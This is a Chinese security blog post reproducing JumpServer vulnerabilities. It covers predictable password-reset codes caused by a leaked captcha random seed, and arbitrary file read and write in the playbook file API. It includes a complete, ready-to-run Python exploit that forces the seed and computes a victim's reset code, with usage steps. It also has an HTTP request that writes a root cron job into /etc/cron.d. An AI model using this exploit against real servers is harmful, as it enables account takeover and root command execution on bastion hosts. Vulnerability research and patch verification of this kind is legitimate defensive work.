Jumpserver漏洞分析/复现全记录 | 分析

admin 2023年10月17日08:15:11评论44 views字数 6141阅读20分28秒阅读模式

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

Jumpserver漏洞分析/复现全记录 | 分析

0x01 前言


最近jumpserver国产开源堡垒机通报了多个漏洞,其中比较严重的就是验证码可预测漏洞了,主要是因为生成随机数的种子可获取,伪随机数在之前做pwn题的时候碰到很多次,实战案例还没怎么碰到过,这必须看一看,搭配后台的playbook模块中出现的任意文件写入漏洞写入定时任务等方式可获取到jumpserver堡垒机服务器的权限。

0x02 漏洞分析


验证码可预测导致密码重置
简单来说,这个漏洞的根本原因是随机数种子被泄露,后续生成随机数所使用的种子都是这个泄露的种子,由于随机数生成算法的确定性,只要种子一样,每次生成的随机数就是一致的。也就是说,导致这个漏洞的关键是种子泄露了,使得每个用户生成的随机数序列都一模一样,破坏了随机性。再看一眼下面的结果相信兄弟们就都明白了。

Jumpserver漏洞分析/复现全记录 | 分析

这里根据密码重置功能点接口搜索”reset-code”追踪,发现当访问这个路由的时候会进入UserResetPasswordSendCodeApi。

Jumpserver漏洞分析/复现全记录 | 分析

create函数的操作就是对应发送验证码功能,这里由于UserResetPasswordSendCodeApi继承自CreateAPIView,所以会根据POST请求自动调用create()方法,进来之后首先获取了token,根据token在缓存中获取username,随后调用random_string生成6位随机验证码code,生成后的验证码是密码重置操作的关键信息,所以可以跟进random_string函数看看具体是如何生成的验证码。

Jumpserver漏洞分析/复现全记录 | 分析

函数最后返回的就是一个6位置的code,可以看到调用了random.choice生成随机数,这个也是根据种子来的,结合最开始说过的例子应该很好理解吧。所以只要能得到种子并搞清楚随机深度就可以推算出验证码了。

Jumpserver漏洞分析/复现全记录 | 分析

此时按照正常逻辑肯定就是要全局搜索调用random.seed的位置了,但是在jumpserver源码里面并没有搜索到,那正常逻辑去想肯定是在某个库中了,但是具体哪一个可能不好定位,此时可以结合系统的正常逻辑和操作流程来前后推测一下,缩小范围在搜索random.seed的位置,再不济直接在全部依赖中搜索,思路正确就怎么都行都没啥毛病。
经过以上方法之后,发现在django-simple-captcha库生成图形验证码的位置发现有调用random.seed,参数为key,向上回溯。

Jumpserver漏洞分析/复现全记录 | 分析

通过”captcha_image”回溯到了key生成的地方,如下最后通过sha1传入key_生成出来的,这里就不继续跟踪了不关键。

Jumpserver漏洞分析/复现全记录 | 分析

在 captcha.urls 文件中,存在一个匹配规则,该规则用于匹配类似 "image/key/" 的URL。当匹配成功时,请求将被传递给名为 captcha_image 的视图函数进行处理。

Jumpserver漏洞分析/复现全记录 | 分析

可以看到与jumpserver源码这边对应了起来。

Jumpserver漏洞分析/复现全记录 | 分析

到这里其实已经差不多了,但是还需要知道随机深度,全局搜索”random.”,框出来的就是必然经过处。

Jumpserver漏洞分析/复现全记录 | 分析

主要有两处
第一处:
可以看到是在captcha_image被调用的。
Jumpserver漏洞分析/复现全记录 | 分析
第二处:

Jumpserver漏洞分析/复现全记录 | 分析

Jumpserver漏洞分析/复现全记录 | 分析

Jumpserver漏洞分析/复现全记录 | 分析

可以看到也是在captcha_image被调用的。

Jumpserver漏洞分析/复现全记录 | 分析

Jumpserver源码的libc.py文件配置了image.size,noise_dots等。

Jumpserver漏洞分析/复现全记录 | 分析


任意文件读取/写入
根据playbook管理功能点接口搜索”playbook/”追踪,发现当访问这个路由的时候会进入PlaybookFileBrowserAPIView。

Jumpserver漏洞分析/复现全记录 | 分析

对于uuid:pk的解释:

Jumpserver漏洞分析/复现全记录 | 分析

走GET请求会进入到文件读取的逻辑,获取key参数构建文件路径,然后通过os.path.join拼接,最后调用f.read读取内容并返回。

Jumpserver漏洞分析/复现全记录 | 分析

POST 请求触发文件写入逻辑,首先获取 key 参数以构建文件路径,然后通过 os.path.join 进行路径拼接。接下来,获取 is_directory、content 以及 name 参数。如果 is_directory 为 False,则会调用 find_new_name 函数获取新文件的写入路径,最终使用 f.write 将 content 写入到文件中。这一过程实现了在文件浏览中创建新文件的功能。

Jumpserver漏洞分析/复现全记录 | 分析

对于获取请求参数方法的解释:

Jumpserver漏洞分析/复现全记录 | 分析

Key传入的时候需要为绝对路径,问题产生的原因是采用join进行了拼接,具体原因如下。

Jumpserver漏洞分析/复现全记录 | 分析


0x03 漏洞复现

密码重置
p佬已经写好的脚本代码(最近看到一个脚本把获取token那一步也自动化了)

import requestsimport loggingimport sysimport randomimport stringimport argparsefrom urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):    args_names = ['lower', 'upper', 'digit', 'special_char']    args_values = [lower, upper, digit, special_char]    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]    args_string_map = dict(zip(args_names, args_string))    kwargs = dict(zip(args_names, args_values))    kwargs_keys = list(kwargs.keys())    kwargs_values = list(kwargs.values())    args_true_count = len([i for i in kwargs_values if i])    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
    can_startswith_special_char = args_true_count == 1 and special_char
    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
    while True:        password = list(random.choice(chars) for i in range(length))        for k, v in kwargs.items():            if v and not (set(password) & set(args_string_map[k])):                # 没有包含指定的字符, retry                break        else:            if not can_startswith_special_char and password[0] in args_string_map['special_char']:                # 首位不能为特殊字符, retry                continue            else:                # 满足要求终止 while 循环                break
    password = ''.join(password)    return password

def nop_random(seed: str):    random.seed(seed)    for i in range(4):        random.randrange(-35, 35)
    for p in range(int(180 * 38 * 0.1)):        random.randint(0, 180)        random.randint(0, 38)

def fix_seed(target: str, seed: str):    def _request(i: int, u: str):        logging.info('send %d request to %s', i, u)        response = requests.get(u, timeout=5)        assert response.status_code == 200        assert response.headers['Content-Type'] == 'image/png'
    url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')    for idx in range(10):        _request(idx, url)

def send_code(target: str, email: str, reset_token: str):    url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)    response = requests.post(url, json={        'email': email,        'sms': '',        'form_type': 'email',    }, allow_redirects=False)    assert response.status_code == 200    logging.info("send code headers: %r response: %r", response.headers, response.text)

def main(target: str, email: str, seed: str, token: str):    fix_seed(target, seed)    nop_random(seed)    send_code(target, email, token)    code = random_string(6, lower=False, upper=False)    logging.info("your code is %s", code)

if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Process some integers.')    parser.add_argument('-t', '--target', type=str, required=True, help='target url')    parser.add_argument('--email', type=str, required=True, help='account email')    parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')    parser.add_argument('--token', type=str, required=True, help='account reset token')
    args = parser.parse_args()    main(args.target, args.email, args.seed, args.token)

正常输入用户名进入下一步到如下界面,复制token。

Jumpserver漏洞分析/复现全记录 | 分析

右键”在新标签中打开图片”,获取一个key也就是种子。

Jumpserver漏洞分析/复现全记录 | 分析

据实际情况调整请求次数,覆盖所有进程为同一个随机数种子,然后填入tokenseedemailip运行脚本即可

Jumpserver漏洞分析/复现全记录 | 分析

之后输入得到的验证码提交即可进入设置新密码流程。

Jumpserver漏洞分析/复现全记录 | 分析

任意文件读取

创建一个playbook模板,获取id。

Jumpserver漏洞分析/复现全记录 | 分析

Jumpserver漏洞分析/复现全记录 | 分析

抓包获取前缀路径拼接playbook/[uuid:pk]/file/?key=/etc/cron.d/test即可读取任意文件。

Jumpserver漏洞分析/复现全记录 | 分析

Jumpserver漏洞分析/复现全记录 | 分析

任意文件写入

修改请求参数,key与name拼接形成路径,content为写入的内容,发包即可修改任意文件内容。

POST /api/v1/ops/playbook/60a94b33-ae22-4af7-a9ba-2b94220776d3/file/ HTTP/1.1Host: 192.168.110.209X-CSRFToken: KONtfk71te76xqJdQkvmz1Sz1gkR8y0gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Content-Type: application/jsonOrigin: http://192.168.110.209Referer: http://192.168.110.209/ui/Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; jms_public_key="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDMk5wM3ZKM2l0eDBoRUcrbnU5dGM1a0hGRQpQUEVQT3AyVC9zbFlsM0hzRGJwL1BZNjVrQlkrVDh5NFZtWDBHQTl5S20yRDJZNEJtT1dxd0FBUCtBL2RndTNrClNNVlNHcFFRZEl3UFRJdTl4L3NEVHIySncvQ1BhNUtnNUlKYnJSRTh1UVF4ME1FMEtLU0JMZHVRcGRDRkEyNzkKVjZaNlAyRmViaVlHU0x2bzFRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="; jms_session_expire=close; jms_csrftoken=KONtfk71te76xqJdQkvmz1Sz1gkR8y0g; jms_sessionid=m4ipcdywsc1w78mxlx0gv0fa5j97jyqw; X-JMS-ORG=00000000-0000-0000-0000-000000000002; activeTab=WorkspaceConnection: closeContent-Length: 108
{    "key": "/etc/cron.d",    "name": "test",    "content": "*/2 * * * * root touch /tmp/111.txt"}

Jumpserver漏洞分析/复现全记录 | 分析

利用任意文件读取查看是否写入成功。

Jumpserver漏洞分析/复现全记录 | 分析

0x04 总结


在复现漏洞时也要多思考,不要一味的复现或者直接定位到vuln位置看一眼就过,要以挖掘0day的视角来全面思考和分析整个漏洞发现过程,不然没有任何意义,如果之前你也挖过相同的系统,那你为什么没有挖到而别人挖到了,是挖掘经验和思路的问题还是基础不扎实还是不够细心等等问题,总结一下,哪里不足补哪里。

原文始发于微信公众号(渗透安全团队):Jumpserver漏洞分析/复现全记录 | 分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月17日08:15:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jumpserver漏洞分析/复现全记录 | 分析https://cn-sec.com/archives/2119481.html

发表评论

匿名网友 填写信息